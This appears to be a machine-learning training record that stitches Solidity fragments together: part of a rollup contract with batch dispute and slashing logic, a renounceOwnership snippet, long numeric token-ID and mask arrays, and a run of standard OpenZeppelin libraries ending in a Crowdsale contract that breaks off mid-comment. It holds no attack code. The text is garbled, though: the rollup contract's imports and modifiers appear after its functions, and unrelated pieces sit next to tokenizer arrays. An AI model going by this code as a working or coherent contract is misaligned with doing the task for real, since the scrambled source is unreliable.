batch.stakeCommitted ); if (i == invalidBatchMarker) { // we have completed rollback // update the marker invalidBatchMarker = 0; break; } } // transfer reward to challenger (msg.sender).transfer(challengerRewards); // burn the remaning amount (BURN_ADDRESS).transfer(burnedAmount); // resize batches length batches.length = batches.length.sub(totalSlashings); logger.logRollbackFinalisation(totalSlashings); } } contract Rollup is RollupHelpers { /********************* * Constructor * ********************/ constructor(address _registryAddr, bytes32 genesisStateRoot) public { nameRegistry = Registry(_registryAddr); logger = Logger(nameRegistry.getContractDetails(ParamManager.LOGGER())); depositManager = DepositManager( nameRegistry.getContractDetails(ParamManager.DEPOSIT_MANAGER()) ); governance = Governance( nameRegistry.getContractDetails(ParamManager.Governance()) ); merkleUtils = MTUtils( nameRegistry.getContractDetails(ParamManager.MERKLE_UTILS()) ); accountsTree = IncrementalTree( nameRegistry.getContractDetails(ParamManager.ACCOUNTS_TREE()) ); tokenRegistry = ITokenRegistry( nameRegistry.getContractDetails(ParamManager.TOKEN_REGISTRY()) ); fraudProof = IFraudProof( nameRegistry.getContractDetails(ParamManager.FRAUD_PROOF()) ); addNewBatch(ZERO_BYTES32, genesisStateRoot, Types.Usage.Genesis); } /** * @notice Submits a new batch to batches * @param _txs Compressed transactions . * @param _updatedRoot New balance tree root after processing all the transactions */ function submitBatch( bytes[] calldata _txs, bytes32 _updatedRoot, Types.Usage batchType ) external payable onlyCoordinator isNotRollingBack { require( msg.value >= governance.STAKE_AMOUNT(), "Not enough stake committed" ); require( _txs.length <= governance.MAX_TXS_PER_BATCH(), "Batch contains more transations than the limit" ); bytes32 txRoot = merkleUtils.getMerkleRoot(_txs); require( txRoot != ZERO_BYTES32, "Cannot submit a transaction with no transactions" ); addNewBatch(txRoot, _updatedRoot, batchType); } /** * @notice finalise deposits and submit batch */ function finaliseDepositsAndSubmitBatch( uint256 _subTreeDepth, Types.AccountMerkleProof calldata _zero_account_mp ) external payable onlyCoordinator isNotRollingBack { bytes32 depositSubTreeRoot = depositManager.finaliseDeposits( _subTreeDepth, _zero_account_mp, getLatestBalanceTreeRoot() ); // require( // msg.value >= governance.STAKE_AMOUNT(), // "Not enough stake committed" // ); bytes32 updatedRoot = merkleUtils.updateLeafWithSiblings( depositSubTreeRoot, _zero_account_mp.accountIP.pathToAccount, _zero_account_mp.siblings ); // add new batch addNewBatchWithDeposit(updatedRoot, depositSubTreeRoot); } /** * disputeBatch processes a transactions and returns the updated balance tree * and the updated leaves. * @notice Gives the number of batches submitted on-chain * @return Total number of batches submitted onchain */ function disputeBatch( uint256 _batch_id, Types.Transaction[] memory _txs, Types.BatchValidationProofs memory batchProofs ) public { { // load batch require( batches[_batch_id].stakeCommitted != 0, "Batch doesnt exist or is slashed already" ); // check if batch is disputable require( block.number < batches[_batch_id].finalisesOn, "Batch already finalised" ); require( (_batch_id < invalidBatchMarker || invalidBatchMarker == 0), "Already successfully disputed. Roll back in process" ); require( batches[_batch_id].txRoot != ZERO_BYTES32, "Cannot dispute blocks with no transaction" ); } bytes32 updatedBalanceRoot; bool isDisputeValid; bytes32 txRoot; (updatedBalanceRoot, txRoot, isDisputeValid) = processBatch( batches[_batch_id - 1].stateRoot, batches[_batch_id - 1].accountRoot, _txs, batchProofs, batches[_batch_id].txRoot ); // dispute is valid, we need to slash and rollback :( if (isDisputeValid) { // before rolling back mark the batch invalid // so we can pause and unpause invalidBatchMarker = _batch_id; SlashAndRollback(); return; } // if new root doesnt match what was submitted by coordinator // slash and rollback if (updatedBalanceRoot != batches[_batch_id].stateRoot) { invalidBatchMarker = _batch_id; SlashAndRollback(); return; } } function ApplyTx( Types.AccountMerkleProof memory _merkle_proof, bytes memory txBytes ) public view returns (bytes memory, bytes32 newRoot) { Types.Transaction memory transaction = RollupUtils.TxFromBytes(txBytes); return fraudProof.ApplyTx(_merkle_proof, transaction); } /** * @notice processTx processes a transactions and returns the updated balance tree * and the updated leaves * conditions in require mean that the dispute be declared invalid * if conditons evaluate if the coordinator was at fault * @return Total number of batches submitted onchain */ function processTx( bytes32 _balanceRoot, bytes32 _accountsRoot, bytes memory sig, bytes memory txBytes, Types.PDAMerkleProof memory _from_pda_proof, Types.AccountProofs memory accountProofs ) public view returns ( bytes32, bytes memory, bytes memory, Types.ErrorCode, bool ) { Types.Transaction memory _tx = RollupUtils.TxFromBytes(txBytes); _tx.signature = sig; return fraudProof.processTx( _balanceRoot, _accountsRoot, _tx, _from_pda_proof, accountProofs ); } /** * @notice processBatch processes a batch and returns the updated balance tree * and the updated leaves * conditions in require mean that the dispute be declared invalid * if conditons evaluate if the coordinator was at fault * @return Total number of batches submitted onchain */ function processBatch( bytes32 initialStateRoot, bytes32 accountsRoot, Types.Transaction[] memory _txs, Types.BatchValidationProofs memory batchProofs, bytes32 expectedTxRoot ) public view returns ( bytes32, bytes32, bool ) { return fraudProof.processBatch( initialStateRoot, accountsRoot, _txs, batchProofs, expectedTxRoot ); } /** * @notice Withdraw delay allows coordinators to withdraw their stake after the batch has been finalised * @param batch_id Batch ID that the coordinator submitted */ function WithdrawStake(uint256 batch_id) public { Types.Batch memory committedBatch = batches[batch_id]; require( committedBatch.stakeCommitted != 0, "Stake has been already withdrawn!!" ); require( msg.sender == committedBatch.committer, "You are not the correct committer for this batch" ); require( block.number > committedBatch.finalisesOn, "This batch is not yet finalised, check back soon!" ); msg.sender.transfer(committedBatch.stakeCommitted); logger.logStakeWithdraw( msg.sender, committedBatch.stakeCommitted, batch_id ); committedBatch.stakeCommitted = 0; } }
External contracts this variable will be greater than 0 if there is rollback in progress will be reset to 0 once rollback is completed
contract RollupSetup { using SafeMath for uint256; using BytesLib for bytes; using ECVerify for bytes32; DepositManager public depositManager; IncrementalTree public accountsTree; Logger public logger; ITokenRegistry public tokenRegistry; Registry public nameRegistry; Types.Batch[] public batches; MTUtils public merkleUtils; IFraudProof public fraudProof; bytes32 public constant ZERO_BYTES32 = 0x0000000000000000000000000000000000000000000000000000000000000000; address payable constant BURN_ADDRESS = 0x0000000000000000000000000000000000000000; Governance public governance; uint256 public invalidBatchMarker; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { IERC20 } from "./interfaces/IERC20.sol"; import { ITokenRegistry } from "./interfaces/ITokenRegistry.sol"; import { IFraudProof } from "./interfaces/IFraudProof.sol"; import { ParamManager } from "./libs/ParamManager.sol"; import { Types } from "./libs/Types.sol"; import { RollupUtils } from "./libs/RollupUtils.sol"; import { ECVerify } from "./libs/ECVerify.sol"; import { IncrementalTree } from "./IncrementalTree.sol"; import { Logger } from "./logger.sol"; import { POB } from "./POB.sol"; import { MerkleTreeUtils as MTUtils } from "./MerkleTreeUtils.sol"; import { NameRegistry as Registry } from "./NameRegistry.sol"; import { Governance } from "./Governance.sol"; import { DepositManager } from "./DepositManager.sol"; modifier onlyCoordinator() { POB pobContract = POB( nameRegistry.getContractDetails(ParamManager.POB()) ); assert(msg.sender == pobContract.getCoordinator()); _; } modifier isNotRollingBack() { assert(invalidBatchMarker == 0); _; } modifier isRollingBack() { assert(invalidBatchMarker > 0); _; } }
6,438,041
[ 1, 6841, 20092, 333, 2190, 903, 506, 6802, 2353, 374, 309, 1915, 353, 8006, 316, 4007, 903, 506, 2715, 358, 374, 3647, 8006, 353, 5951, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 31291, 416, 7365, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5985, 5664, 364, 1731, 31, 203, 565, 1450, 7773, 8097, 364, 1731, 1578, 31, 203, 203, 203, 565, 4019, 538, 305, 1318, 1071, 443, 1724, 1318, 31, 203, 565, 17883, 287, 2471, 1071, 9484, 2471, 31, 203, 565, 4242, 1071, 1194, 31, 203, 565, 467, 1345, 4243, 1071, 1147, 4243, 31, 203, 565, 5438, 1071, 508, 4243, 31, 203, 565, 7658, 18, 4497, 8526, 1071, 13166, 31, 203, 565, 22068, 1989, 1071, 30235, 1989, 31, 203, 203, 565, 11083, 354, 1100, 20439, 1071, 284, 354, 1100, 20439, 31, 203, 203, 565, 1731, 1578, 203, 3639, 1071, 5381, 18449, 67, 13718, 1578, 273, 374, 92, 12648, 12648, 12648, 12648, 12648, 12648, 12648, 12648, 31, 203, 565, 1758, 8843, 429, 5381, 605, 8521, 67, 15140, 273, 374, 92, 12648, 12648, 12648, 12648, 12648, 31, 203, 565, 611, 1643, 82, 1359, 1071, 314, 1643, 82, 1359, 31, 203, 203, 565, 2254, 5034, 1071, 2057, 4497, 7078, 31, 203, 203, 5666, 288, 14060, 10477, 289, 628, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 15949, 19, 9890, 10477, 18, 18281, 14432, 203, 5666, 288, 467, 654, 39, 3462, 289, 628, 25165, 15898, 19, 45, 654, 39, 3462, 18, 18281, 14432, 203, 5666, 288, 467, 1345, 4243, 289, 628, 25165, 15898, 19, 1285, 969, 4243, 18, 18281, 14432, 203, 5666, 288, 11083, 354, 1100, 20439, 289, 628, 25165, 15898, 19, 5501, 354, 1100, 20439, 18, 18281, 14432, 203, 5666, 2 ]
./partial_match/1/0x4f8845b15AdD2566c2f3975eF57C66f418A48928/sources/HarryPotterFoundObamaInu.sol
* @dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner./
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
2,599,852
[ 1, 1682, 6606, 326, 6835, 2887, 3410, 18, 2597, 903, 486, 506, 3323, 358, 745, 296, 3700, 5541, 11, 4186, 16828, 18, 4480, 1338, 506, 2566, 635, 326, 783, 3410, 18, 5219, 30, 25921, 465, 2822, 23178, 903, 8851, 326, 6835, 2887, 392, 3410, 16, 1915, 1637, 9427, 1281, 14176, 716, 353, 1338, 2319, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 445, 1654, 8386, 5460, 12565, 1435, 1071, 5024, 1338, 5541, 288, 203, 1850, 3626, 14223, 9646, 5310, 1429, 4193, 24899, 8443, 16, 1758, 12, 20, 10019, 203, 1850, 389, 8443, 273, 1758, 12, 20, 1769, 203, 1377, 289, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // File: @openzeppelin/contracts/crowdsale/Crowdsale.sol pragma solidity ^0.5.0; /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a 